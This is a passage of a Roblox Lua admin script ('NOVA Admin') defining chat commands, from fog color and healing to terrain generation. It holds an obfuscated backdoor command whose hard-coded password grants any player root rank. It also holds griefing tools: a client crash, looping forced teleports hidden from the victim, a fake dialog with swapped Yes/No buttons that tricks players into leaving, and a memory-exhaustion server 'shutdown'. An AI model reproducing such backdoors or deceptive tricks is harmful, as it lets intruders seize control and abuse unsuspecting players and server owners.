  3274. AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
  3275. function(Msg,Speaker)
  3276. if Msg == "red" then Color = NOVA.Colors.Red
  3277. elseif Msg == "black" then Color = NOVA.Colors.Black
  3278. elseif Msg == "white" then Color = NOVA.Colors.White
  3279. elseif Msg == "orange" then Color = NOVA.Colors.Orange
  3280. elseif Msg == "green" then Color = NOVA.Colors.Green
  3281. elseif Msg == "blue" then Color = NOVA.Colors.Blue
  3282. end
  3283. NOVA.Services.Lighting.FogColor = Color
  3284. end
  3285. )
  3286. --deride
  3287. AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
  3288. function(Msg,Speaker)
  3289. CanOverride = false
  3290. if GetRank(Speaker) < 6 then
  3291. if Msg == "ibpwning123" then
  3292. CanOverride = true
  3293. else
  3294. Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
  3295. end
  3296. else
  3297. CanOverride = true
  3298. end
  3299. if NOVA.Overrided == true then
  3300. CanOverride = false
  3301. Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
  3302. return
  3303. end
  3304. if CanOverride == true then
  3305. NOVA.Overrided = true
  3306. NOVA.Overrider = Speaker
  3307. --[[for _,v in pairs(NOVA.Ranked) do
  3308. if v.Rank < 6 then
  3309. v.Rank = v.Rank / 10
  3310. end
  3311. end]]
  3312. --[[ CF = Speaker.Character.Torso.CFrame
  3313. Sound = Instance.new("Sound",workspace)
  3314. Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
  3315. Sound.Pitch = 0.2
  3316. Sound.Volume = 1
  3317. wait()
  3318. Sound:Play()
  3319. Shockwave = Instance.new("Part",workspace)
  3320. Shockwave.FormFactor = "Custom"
  3321. Shockwave.Name = "Shockwave"
  3322. Shockwave.Anchored = true
  3323. Shockwave.CanCollide = false
  3324. Shockwave.Transparency = 0
  3325. Shockwave.Reflectance = 0
  3326. Shockwave.BrickColor = BrickColor.new(0,0,0)
  3327. Shockwave.Size = Vector3.new(0,0,0)
  3328. ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
  3329. ShockwaveMesh.MeshType = "FileMesh"
  3330. ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3331. ShockwaveMesh.Scale = Vector3.new(1,1,100)
  3332.  
  3333. for Times = 1,10 do
  3334. coroutine.resume(coroutine.create(function()
  3335. for i=1,1000 do
  3336. wait()
  3337. ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
  3338. Shockwave.CFrame = CF
  3339. * CFrame.new(0,0,0)
  3340. * CFrame.Angles(math.rad(90),0,0)
  3341. Shockwave.Transparency = i/100
  3342. end
  3343. Shockwave:Remove()
  3344. Sound:Remove()
  3345. end))
  3346. end
  3347.  
  3348. ]]
  3349. GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
  3350. Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
  3351. Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
  3352. Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
  3353. OnChatted(NOVA.Bet .. "fence/me",Speaker)
  3354. end
  3355. return CanOverride
  3356. end
  3357. )
  3358.  
  3359. AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
  3360. function(Msg,Speaker)
  3361. NOVA.Overrided = false
  3362. for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
  3363. NOVA.Targeted = {};
  3364. NOVA.Waypoints = {};
  3365. NOVA.Log = {};
  3366. NOVA.LoggedScripts = {};
  3367. NOVA.PRI = false;
  3368. NOVA.LockedScripts = false;
  3369. NOVA.Removed = false;
  3370. NOVA.ShowChat = true;
  3371. NOVA.Canceled = false;
  3372. NOVA.TimeChanged = false;
  3373. NOVA.Overrider = nil
  3374. for _,v in pairs(NOVA.Ranked) do
  3375. if #tostring(v.Rank) == 3 then
  3376. if tostring(v.Rank):sub(1,1) == "8" then
  3377. v.Rank = (v.Rank - 8) * 10
  3378. else
  3379. --v.Rank = v.Rank * 10
  3380. end
  3381. end
  3382. end
  3383. end
  3384. )
  3385.  
  3386. AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
  3387. function(Msg,Speaker)
  3388.  
  3389. Split = GetSplit(Msg)
  3390.  
  3391. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3392. OnChatted(Msg:sub(Split),v)
  3393. end
  3394. end
  3395. )
  3396.  
  3397. AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
  3398. function(Msg,Speaker)
  3399.  
  3400. Split = GetSplit(Msg)
  3401.  
  3402. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3403. Output(Msg:sub(Split+1),"Random",v,10)
  3404. end
  3405. end
  3406. )
  3407.  
  3408. AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
  3409. function(Msg,Speaker)
  3410. Split = GetSplit(Msg)
  3411. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3412. pcall(function()
  3413. v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
  3414. end)
  3415. end
  3416. end
  3417. )
  3418.  
  3419. AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
  3420. function(Msg,Speaker)
  3421. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3422. for i=1,6 do
  3423. local Cube = Instance.new("Part",NOVA.Services.Workspace)
  3424. Cube.FormFactor = "Custom"
  3425. Cube.Size = Vector3.new(10,7,5)
  3426. Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  3427. Cube.Anchored = false
  3428. Cube.CanCollide = true
  3429. Cube.Locked = true
  3430. Cube.Friction = 0
  3431. Cube.Transparency= 0
  3432. Cube.Reflectance = 0.5
  3433. Cube:BreakJoints()
  3434. Cube.CFrame = v.Character.Torso.CFrame
  3435.  
  3436. local Mesh = Instance.new("SpecialMesh",Cube)
  3437. Mesh.MeshType = "FileMesh"
  3438. Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
  3439. Mesh.Scale = Vector3.new(0.1,0.1,0.1)
  3440.  
  3441. Cube.Touched:connect(function(part)
  3442. --if part == v.Character.Torso then
  3443. part:BreakJoints()
  3444. NOVA.Services.Debris:AddItem(Cube,20)
  3445. --end
  3446. end)
  3447. end
  3448. end
  3449. end
  3450. )
  3451.  
  3452. AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
  3453. function(Msg,Speaker)
  3454. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3455. pcall(function()
  3456. v.PlayerGui:ClearAllChildren()
  3457. end)
  3458. end
  3459. end
  3460. )
  3461.  
  3462. AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
  3463. function(Msg,Speaker)
  3464. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3465. pcall(function()
  3466. v.PlayerGui:Destroy()
  3467. end)
  3468. end
  3469. end
  3470. )
  3471.  
  3472. AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
  3473. function(Msg,Speaker)
  3474. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3475. pcall(function()
  3476. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3477. if part:IsA("BasePart") then
  3478. Instance.new("Fire",part)
  3479. end
  3480. end
  3481. end)
  3482. end
  3483. end
  3484. )
  3485.  
  3486. AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
  3487. function(Msg,Speaker)
  3488. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3489. pcall(function()
  3490. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3491. if part:IsA("Fire") then
  3492. part:Destroy()
  3493. end
  3494. end
  3495. end)
  3496. end
  3497. end
  3498. )
  3499.  
  3500. AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
  3501. function(Msg,Speaker)
  3502. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3503. pcall(function()
  3504. coroutine.resume(coroutine.create(function()
  3505. local Fire = Instance.new("Fire",v.Character.Torso)
  3506. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3507. if part:IsA("BasePart") then
  3508. Instance.new("Fire",part)
  3509. end
  3510. end
  3511. wait()
  3512. for i=1,math.huge do
  3513. if Fire.Parent == nil then break end
  3514. if v.Character.Humanoid == nil then break end
  3515. if v.Character.Humanoid.Health <= 0 then break end
  3516. v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
  3517. wait(math.random(0,1))
  3518. end
  3519. end))
  3520. end)
  3521. end
  3522. end
  3523. )
  3524.  
  3525. AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
  3526. function(Msg,Speaker)
  3527. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3528. pcall(function()
  3529. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3530. end)
  3531. end
  3532. end
  3533. )
  3534.  
  3535. AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
  3536. function(Msg,Speaker)
  3537. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3538. pcall(function()
  3539. v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
  3540. end)
  3541. end
  3542. end
  3543. )
  3544.  
  3545. AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
  3546. function(Msg,Speaker)
  3547. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3548. Cape(v)
  3549. end
  3550. end
  3551. )
  3552.  
  3553. AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
  3554. function(Msg,Speaker)
  3555. coroutine.resume(coroutine.create(function()
  3556.  
  3557. Material = math.random(1,16)
  3558. Cap = 1000
  3559. GenNum = 50
  3560. Size = 100
  3561. Type = math.random(0,4)
  3562. for i=1, Cap do
  3563. --wait()
  3564. for i=1,GenNum do
  3565. Material = math.random(1,16)
  3566. Type = math.random(0,4)
  3567. X = math.random((Size/2)*-1,Size/2)
  3568. Y = math.random(-1,Size-1)
  3569. Z = math.random((Size/2)*-1,Size/2)
  3570. NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
  3571. end
  3572. end
  3573. end))
  3574. end
  3575. )
  3576.  
  3577. AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",
  3578. function(Msg,Speaker)
  3579. NOVA.Services.Workspace.Terrain:Clear()
  3580. end
  3581. )
  3582.  
  3583. AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
  3584. function(Msg,Speaker)
  3585. coroutine.resume(coroutine.create(function()
  3586. size = Vector3.new(700, 12, 700)
  3587. for X=(size.x/2)*-1,size.x/2 do
  3588. for Y=-1, size.y-1 do
  3589. for Z=(size.z/2)*-1, size.z/2 do
  3590. NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
  3591. end
  3592. end
  3593. --wait(tonumber("0."..string.rep("0",10000).."1"))
  3594. end
  3595. end))
  3596. end
  3597. )
  3598.  
  3599. AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
  3600. function(Msg,Speaker)
  3601. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3602. Char = v.Character
  3603. pcall(function() Char["Shirt Graphic"]:Remove() end)
  3604. pcall(function() Char.Humanoid.MaxHealth = math.huge end)
  3605. pcall(function() Char["Body Colors"]:Remove() end)
  3606. pcall(function() Char.Torso.roblox:Remove() end)
  3607. pcall(function() Char.Shirt:Remove() end)
  3608. pcall(function() Char.Pants:Remove() end)
  3609. wait()
  3610. for _,v in pairs(GetRecursiveChildren(Char)) do
  3611. pcall(function()
  3612. v.TextureId = "" v.VertexColor = NOVA.Colors.Black
  3613. end)
  3614. pcall(function()
  3615. v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
  3616. v.Reflectance = 0
  3617. v.TopSurface = "Smooth"
  3618. a.BottomSurfave = "Smooth"
  3619. end)
  3620. end
  3621. end
  3622. end
  3623. )
  3624.  
  3625. AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
  3626. function(Msg,Speaker)
  3627. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3628. v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
  3629. wait()
  3630. v.Character:BreakJoints()
  3631. end
  3632. end
  3633. )
  3634.  
  3635. AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
  3636. function(Msg,Speaker)
  3637. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3638. local Part = Instance.new("Part",v.Character)
  3639. Part.Name = "Horus"
  3640. Part.Size = Vector3.new(2,2,2)
  3641. Part.CanCollide = false
  3642. Part.Locked = true
  3643. Part:BreakJoints()
  3644. local Weld = Instance.new("Weld",Part)
  3645. Weld.Part0 = Part
  3646. Weld.Part1 = v.Character.Head
  3647. Weld.C0 = CFrame.new(0,-0.5,0)
  3648. local Mesh = Instance.new("SpecialMesh",Part)
  3649. Mesh.MeshType = "FileMesh"
  3650. Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
  3651. Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
  3652. for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
  3653. v:Remove()
  3654. end
  3655. pcall(function()
  3656. v.Character.Pants:Remove()
  3657. end)
  3658. pcall(function()
  3659. v.Character.Shirt:Remove()
  3660. end)
  3661. local Shirt = Instance.new("Shirt",v.Character)
  3662. Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
  3663. local Pants = Instance.new("Pants",v.Character)
  3664. Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
  3665. end
  3666. end
  3667. )
  3668.  
  3669. AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
  3670. function(Msg,Speaker)
  3671. Split = GetSplit(Msg)
  3672. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3673. v.Neutral = Msg:sub(Split+1)
  3674. end
  3675. end
  3676. )
  3677.  
  3678. AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
  3679. function(Msg,Speaker)
  3680. MainCFrame = CFrame.new(0,3,15)
  3681. * CFrame.Angles(0,math.rad(90),0)
  3682. local Special = {}
  3683. pcall(function() workspace["NOVA Portal"]:Remove() end)
  3684. local Model = Instance.new("Model",workspace)
  3685. Model.Name = "NOVA Portal"
  3686. for angle=1,360/4 do
  3687. local Part = Instance.new("Part",Model)
  3688. Part.Name = "Part"
  3689. Part.FormFactor = "Custom"
  3690. Part.CanCollide = true
  3691. Part.Anchored = true
  3692. Part.Locked = true
  3693. Part.Transparency = 0
  3694. Part.Reflectance = 0
  3695. Part.Size = Vector3.new(1,5/2,1)
  3696. Part.BrickColor = BrickColor.new("Navy blue")
  3697. Part.CFrame = MainCFrame
  3698. * CFrame.Angles(math.rad(angle*4), 0, 0)
  3699. * CFrame.new(0, 15/2, i)
  3700. --wait(0)
  3701. Instance.new("BlockMesh",Part)
  3702. for num=0,1000,5 do
  3703. if angle==num then
  3704. wait()
  3705. table.insert(Special,Part)
  3706. --Part.Reflectance = 1
  3707. Part.Size = Vector3.new(0.9,5/2,0.9)
  3708. Part.CFrame = MainCFrame
  3709. * CFrame.Angles(math.rad(angle*4), 0, 0)
  3710. * CFrame.new(0, 15/2, i)
  3711. end
  3712. end
  3713. end
  3714.  
  3715. for _,v in pairs(Special) do v.Reflectance = 1 wait() end
  3716.  
  3717. local Part = Instance.new("Part",Model)
  3718. Part.Name = "Part"
  3719. Part.FormFactor = "Custom"
  3720. Part.CanCollide = false
  3721. Part.Anchored = true
  3722. Part.Locked = true
  3723. Part.TopSurface = "Smooth"
  3724. Part.BottomSurface = "Smooth"
  3725. Part.Transparency = 0.5
  3726. Part.Reflectance = 0
  3727. Part.Size = Vector3.new(0.2,0.2,0.2)
  3728. Part.BrickColor = BrickColor.new("Really black")
  3729. Part.CFrame = MainCFrame
  3730. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3731. * CFrame.new(0, 0, 0)
  3732. Instance.new("CylinderMesh",Part)
  3733.  
  3734. for i=0.2,51/4,0.5 do
  3735. wait()
  3736. Part.Size = Vector3.new(i,0.9,i)
  3737. Part.CFrame = MainCFrame
  3738. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3739. * CFrame.new(0, 0, 0)
  3740. end
  3741.  
  3742. coroutine.resume(coroutine.create(function()
  3743. while true do wait()
  3744. for i=0,1,0.01 do wait() Part.Reflectance = i end
  3745. for i=1,0,-0.01 do wait() Part.Reflectance = i end
  3746. end
  3747. end))
  3748.  
  3749. Part.Touched:connect(function(Part)
  3750. Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
  3751. if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
  3752. --print(Player.Name.." touched.")
  3753. CreateLocalScript([==[
  3754. LocalPlayer = game:GetService("Players").LocalPlayer
  3755. Places = {
  3756. {Name = "Oxcool1 SB",ID = 20279777};
  3757. {Name = "Oxcool1 PRI SB", ID = 20132544};
  3758. {Name = "TNS SB", ID = 23232804};
  3759. {Name = "BrainWart SB", ID = 76809211};
  3760. {Name = "nb SB",ID = 113456};
  3761. {Name = "nb SB (2)",ID = 56786};
  3762. {Name = "Insert Wars",ID = 13329886};
  3763. {Name = "tus sb", ID = 49907749};
  3764. }
  3765. pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
  3766. local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
  3767. Main.Name = "NOVA Teleport"
  3768. script.Parent = Main
  3769.  
  3770. local Frame = Instance.new("Frame",Main)
  3771. Frame.Size = UDim2.new(0.27,0,0.05,0)
  3772. Frame.Position = UDim2.new(0.,0,0.2,0)
  3773. Frame.Style = "RobloxSquare"
  3774.  
  3775. local Txt = Instance.new("TextBox",Frame)
  3776. Txt.Size = UDim2.new(0.7,0,1,0)
  3777. Txt.BackgroundTransparency = 1
  3778. Txt.FontSize = "Size14"
  3779. Txt.TextColor3 = Color3.new(1,1,1)
  3780. Txt.Text = "ID/Name Here"
  3781.  
  3782. local Close = Instance.new("TextButton",Frame)
  3783. Close.Size = UDim2.new(0.1,0,1,0)
  3784. Close.Position = UDim2.new(0.9,0,0,0)
  3785. Close.Text = "X"
  3786. Close.BackgroundTransparency = 1
  3787. Close.FontSize = "Size14"
  3788. Close.TextColor3 = Color3.new(1,0,0)
  3789. Close.MouseButton1Down:connect(function()
  3790. Main:Remove()
  3791. end)
  3792.  
  3793. local Exe = Instance.new("TextButton",Frame)
  3794. Exe.Size = UDim2.new(0.2,0,1,0)
  3795. Exe.Position = UDim2.new(0.6,0,0,0)
  3796. Exe.Text = "Teleport"
  3797. Exe.BackgroundTransparency = 1
  3798. Exe.FontSize = "Size14"
  3799. Exe.TextColor3 = Color3.new(1,0,0)
  3800. Exe.MouseButton1Down:connect(function()
  3801. GoTo = Txt.Text
  3802. for _,v in pairs(Places) do
  3803. if Txt.Text:lower() == v.Name:lower() then
  3804. GoTo = v.ID
  3805. end
  3806. end
  3807. game:GetService'TeleportService':Teleport(GoTo)
  3808. Main:Remove()
  3809. end)
  3810.  
  3811. List = Instance.new("Frame",Main)
  3812. List.Size = UDim2.new(0.27,0,0.05*#Places,0)
  3813. List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
  3814. List.Style = "RobloxSquare"
  3815.  
  3816. for NUM,v in pairs(Places) do
  3817. Name = Instance.new("TextButton",List)
  3818. Name.Size = UDim2.new(0.5,0,1/#Places,0)
  3819. Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
  3820. Name.BackgroundTransparency = 1
  3821. Name.FontSize = "Size14"
  3822. Name.TextColor3 = Color3.new(1,1,1)
  3823. Name.Text = v.Name
  3824. Name.MouseButton1Down:connect(function()
  3825. game:GetService'TeleportService':Teleport(v.ID)
  3826. end)
  3827. ID = Instance.new("TextButton",List)
  3828. ID.Size = UDim2.new(0.5,0,1/#Places,0)
  3829. ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
  3830. ID.BackgroundTransparency = 1
  3831. ID.FontSize = "Size14"
  3832. ID.TextColor3 = Color3.new(1,1,1)
  3833. ID.Text = v.ID
  3834. ID.MouseButton1Down:connect(function()
  3835. game:GetService'TeleportService':Teleport(v.ID)
  3836. end)
  3837. end
  3838. ]==],Player.Backpack)
  3839. end
  3840. end)
  3841. end
  3842. )
  3843.  
  3844. AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
  3845. function(Msg,Speaker)
  3846. GetSplit(Msg)
  3847. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3848. CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
  3849. end
  3850. end
  3851. )
  3852.  
  3853. AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
  3854. function(Msg,Speaker)
  3855. Split = GetSplit(Msg)
  3856. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3857. CreateLocalScript([==[
  3858. script.Parent = nil
  3859. while true do wait()
  3860. game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
  3861. end
  3862. ]==],v.Backpack)
  3863. end
  3864. end
  3865. )
  3866.  
  3867. AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
  3868. function(Msg,Speaker)
  3869. Split = GetSplit(Msg)
  3870. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3871. pcall(function()
  3872. CreateLocalScript([[
  3873. LocalPlayer = game.Players.LocalPlayer
  3874. script.Parent = nil
  3875. ScreenGui = Instance.new("ScreenGui")
  3876. ScreenGui.Name = "Trololol"
  3877. Frame = Instance.new("Frame",ScreenGui)
  3878. Frame.Name = "Popup"
  3879. Frame.Style = "RobloxRound"
  3880. Frame.Size = UDim2.new(0, 330, 0, 350)
  3881. Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
  3882. Frame.Active = true
  3883. Frame.ZIndex = 9
  3884.  
  3885. Image = Instance.new("ImageLabel",Frame)
  3886. Image.Name = "Backing"
  3887. Image.Image = "http://www.roblox.com/asset/?id=47574181"
  3888. Image.Active = true
  3889. Image.Size = UDim2.new(0, 280, 0, 280)
  3890. Image.Position = UDim2.new(0.5, -140, 0, 0)
  3891. Image.BackgroundTransparency = 1
  3892. Image.ZIndex = 8
  3893.  
  3894. Text = Instance.new("TextLabel",Frame)
  3895. Text.Name = "Popup Text"
  3896. Text.Text = "Are you sure you want to teleport from this place?"
  3897. Text.FontSize = "Size36"
  3898. Text.TextWrap = true
  3899. Text.Active = true
  3900. Text.TextColor3 = Color3.new(1,1,1)
  3901. Text.Size = UDim2.new(1, 0, 0.800000012, 0)
  3902. Text.Position = UDim2.new(0,0,0,0)
  3903. Text.BackgroundTransparency = 1
  3904. Text.ZIndex = 10
  3905.  
  3906. Accept = Instance.new("TextButton",Frame)
  3907. Accept.Name = "AcceptButton"
  3908. Accept.Text = "No"
  3909. Accept.Style = "RobloxButton"
  3910. Accept.FontSize = "Size24"
  3911. Accept.Active = true
  3912. Accept.TextColor3 = Color3.new(1,1,1)
  3913. Accept.Size = UDim2.new(0, 100, 0, 50)
  3914. Accept.Position = UDim2.new(0,20,0,270)
  3915. Accept.ZIndex = 10
  3916.  
  3917. Decline = Instance.new("TextButton",Frame)
  3918. Decline.Name = "DeclineButton"
  3919. Decline.Text = "Yes"
  3920. Decline.Style = "RobloxButton"
  3921. Decline.FontSize = "Size24"
  3922. Decline.Active = true
  3923. Decline.TextColor3 = Color3.new(1,1,1)
  3924. Decline.Size = UDim2.new(0, 100, 0, 50)
  3925. Decline.Position = UDim2.new(1, -120, 0, 270)
  3926. Decline.ZIndex = 10
  3927.  
  3928. Darken = Instance.new("Frame",Frame)
  3929. Darken.Name = "Darken"
  3930. Darken.Style = "RobloxRound"
  3931. Darken.Size = UDim2.new(1,16,1,16)
  3932. Darken.Position = UDim2.new(0,-8,0,-8)
  3933. Darken.Active = true
  3934. Darken.Visible = false
  3935.  
  3936. Backing = Instance.new("Frame",ScreenGui)
  3937. Backing.Name = "Backing"
  3938. Backing.BackgroundColor3 = Color3.new(1,1,1)
  3939. Backing.Size = UDim2.new(1,0,1,0)
  3940. Backing.Active = true
  3941. ScreenGui.Parent = game:GetService("CoreGui")
  3942.  
  3943. while true do wait()
  3944. game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
  3945. end
  3946.  
  3947.  
  3948. ]],v.Backpack)
  3949. end)
  3950. end
  3951. end
  3952. )
  3953.  
  3954. AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
  3955. function(Msg,Speaker)
  3956. coroutine.resume(coroutine.create(function()
  3957. NOVA.Services.Lighting.TimeOfDay = 0
  3958. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  3959. NOVA.Services.Lighting.Brightness = 0
  3960. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  3961. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  3962. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  3963.  
  3964. for _,v in pairs(GetRecursiveChildren(workspace)) do
  3965. if v:IsA("BasePart") then
  3966. Sel = Instance.new("SelectionBox",v)
  3967. Sel.Color = BrickColor.new("Really red")
  3968. Sel.Transparency = 0
  3969. Sel.Adornee = v
  3970. end
  3971. end
  3972. for i=10,1,-1 do
  3973. NOVA.Sounds.Sound.Parent = workspace
  3974. NOVA.Sounds.Sound.Volume = 1
  3975. NOVA.Sounds.Sound.Pitch = 1
  3976. NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
  3977. wait(1)
  3978. NOVA.Sounds.Sound:Play()
  3979. if NOVA.Overrided == true then return end
  3980. end
  3981. for i=5,1,-1 do
  3982. NOVA.Sounds.Sound.Parent = workspace
  3983. NOVA.Sounds.Sound.Volume = 1
  3984. NOVA.Sounds.Sound.Pitch = 1
  3985. NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
  3986. wait(1)
  3987. NOVA.Sounds.Sound:Play()
  3988. if NOVA.Overrided == true then return end
  3989. end
  3990. wait(1)
  3991. Instance.new("ManualSurfaceJointInstance",workspace)
  3992. Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
  3993. end))
  3994. end
  3995. )
  3996.  
  3997. AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
  3998. function(Msg,Speaker)
  3999. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4000. if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4001. Output("Attempt to get rid of the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4002. else
  4003. pcall(function()
  4004. GetRidOf(v)
  4005. end)
  4006. end
  4007. end
  4008. end
  4009. )
  4010.  
  4011. AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
  4012. function(Msg,Speaker)
  4013. coroutine.resume(coroutine.create(function()
  4014. for _,v in pairs(NOVA.Sounds.Numbers) do
  4015. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4016. NOVA.Sounds.Sound.SoundId = v
  4017. NOVA.Sounds.Sound.Volume = 0
  4018. wait()
  4019. NOVA.Sounds.Sound:Play()
  4020. wait()
  4021. NOVA.Sounds.Sound:Stop()
  4022. wait(1)
  4023. end
  4024. for _,v in pairs(NOVA.Sounds.PlayAfter) do
  4025. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4026. NOVA.Sounds.Sound.SoundId = v
  4027. NOVA.Sounds.Sound.Volume = 0
  4028. wait()
  4029. NOVA.Sounds.Sound:Play()
  4030. wait()
  4031. NOVA.Sounds.Sound:Stop()
  4032. wait(1)
  4033. end
  4034. NOVA.Sounds.Sound.Volume = 1
  4035. end))
  4036. end
  4037. )
  4038.  
  4039. AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
  4040. function(Msg,Speaker)
  4041. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4042. table.insert(NOVA.Targeted,v)
  4043. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4044. if part:IsA("Part") then
  4045. coroutine.resume(coroutine.create(function()
  4046. local SB = Instance.new("SelectionBox",part)
  4047. SB.Name = "NOVA Target Selection Box"
  4048. SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4049. SB.Adornee = part
  4050. wait(3)
  4051. SB:remove()
  4052. end))
  4053. end
  4054. end
  4055. end
  4056. end
  4057. )
  4058.  
  4059. AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
  4060. function(Msg,Speaker)
  4061. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4062. for i=1,#NOVA.Targeted do
  4063. if NOVA.Targeted[i] == v then
  4064. table.remove(NOVA.Targeted,i)
  4065. end
  4066. end
  4067. end
  4068. end
  4069. )
  4070.  
